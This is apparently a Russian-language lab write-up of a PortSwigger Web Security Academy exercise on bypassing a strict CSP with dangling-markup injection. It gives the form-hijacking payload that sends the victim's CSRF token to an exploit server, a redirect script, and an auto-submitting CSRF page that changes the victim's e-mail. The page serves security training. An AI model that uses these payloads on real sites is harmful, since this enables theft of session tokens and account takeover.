> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md).

# Отражённый XSS, защищённый очень строгой CSP, атака через dangling markup

### Отражённый XSS, защищённый очень строгой CSP, с атакой Dangling Markup

#### Цель лабораторной работы

* Проведите XSS-атаку, которая обходит CSP и эксфильтрует CSRF-токен смоделированного пользователя (через Burp Collaborator).
* Затем используйте этот токен, чтобы изменить адрес электронной почты жертвы на `hacker@evil-user.net`.
* Вектор, видимый жертве, должен содержать слово **Нажмите** (например, `Нажми меня`) чтобы побудить её нажать.
* Тестовая учётная запись: `wiener:peter`.

#### Начальные наблюдения

* В форме обновления e-mail добавление `?email=` в URL управляет значением (`значение`) `email` в элемент input.

<figure><img src="/files/f36da83d987f0185addb9e1939048861c25b35f2" alt=""><figcaption></figcaption></figure>

Поле уязвимо к внедрению HTML-тегов (примеры для тестирования):

* `test"><h1>test</h1>` → `<h1>` внедряется и возвращается.

```html
test"><h1>test</h1>
```

<figure><img src="/files/4cdcffec100647a3c9c4bfd62011a94f3ccb9b6f" alt="" width="422"><figcaption></figcaption></figure>

* `test"><script>alert(0)</script>` → `<script>` появляется в форме, но \*\*не выполняется\*\*.

```javascript
test"><script>alert(0)</script>
```

<figure><img src="/files/7c2eb7de81c8245f16295745200bb735b2dee8dc" alt="" width="429"><figcaption></figcaption></figure>

Консоль браузера указывает на блокировку политикой безопасности:

{% hint style="danger" %}
Content-Security-Policy: Настройки страницы заблокировали выполнение встроенного скрипта (script-src-elem), поскольку это нарушает следующую директиву: “script-src 'self'”
{% endhint %}

<figure><img src="/files/29ff24256e58426d93c98a5861b5eb45bae7c5d7" alt=""><figcaption></figcaption></figure>

Обнаруженный заголовок CSP:

`content-security-policy`/ `default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';`

<figure><img src="/files/21fd2aeea4fbcd4a5de2095a7c0569681c69d818" alt=""><figcaption></figcaption></figure>

#### Стратегия атаки (dangling markup)

* Вместо внедрения `<script>` (заблокированного CSP), текущая форма закрывается и создаётся новая форма\*\* с `action` атрибутом, указывающим на наш сервер эксплойта (exploit server). Эта форма содержит кнопку «Нажми меня», чтобы побудить пользователя нажать.

Пример инъекции, которая закрывает форму и создаёт новую (URL-кодированный формат в редиректе):

{% code overflow="wrap" %}

```javascript
test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click me</button
```

{% endcode %}

<figure><img src="/files/690ab7d06132921b469ac86ae8b8ea6d5f34f5a4" alt=""><figcaption></figcaption></figure>

* Открыв эту ссылку на машине жертвы (например, через перенаправление), если жертва нажмёт кнопку, CSRF-токен будет отправлен в URL на сервер эксплойта и появится в логах удалённого сервера.

<figure><img src="/files/f563eac36f010b5b8d59b1df1f1450bc6128d403" alt=""><figcaption></figcaption></figure>

#### Пример внедрённого перенаправления (чтобы принудительно направить пользователя на уязвимую страницу с полезной нагрузкой)

* Внедрённый скрипт на стороне атакующего для перенаправления жертвы на страницу с полезной нагрузкой (закодированный URL):

```javascript
<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>
```

* После перенаправления жертвы и нажатия кнопки CSRF-токен будет найден в логах сервера эксплойта.

<figure><img src="/files/eefdd3dc8da36af3173d9cef2dd4f3aece1267de" alt=""><figcaption></figcaption></figure>

#### Операция после эксфильтрации: использование CSRF-токена для изменения e-mail

* После получения CSRF-токена (из логов сервера эксплойта) создаётся HTML-страница, которая отправляет POST на `/my-account/change-email` с помощью:
* `e-mail = hacker@evil-user.net`
* `CSRF = <полученный_токен>`

<figure><img src="/files/ebcd2a38c96bdf3153137be1d6ab5030dfb664cb" alt="" width="563"><figcaption></figcaption></figure>

Пример HTML PoC, сгенерированного (в Burp или вручную) для выполнения автоматизированного POST-запроса

<figure><img src="/files/a050ca22bf22398a0220691648866d0745e8a213" alt=""><figcaption></figcaption></figure>

```html
<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Отправить запрос" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/reflected-xss-protected-by-strict-csp-with-dangling-markup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
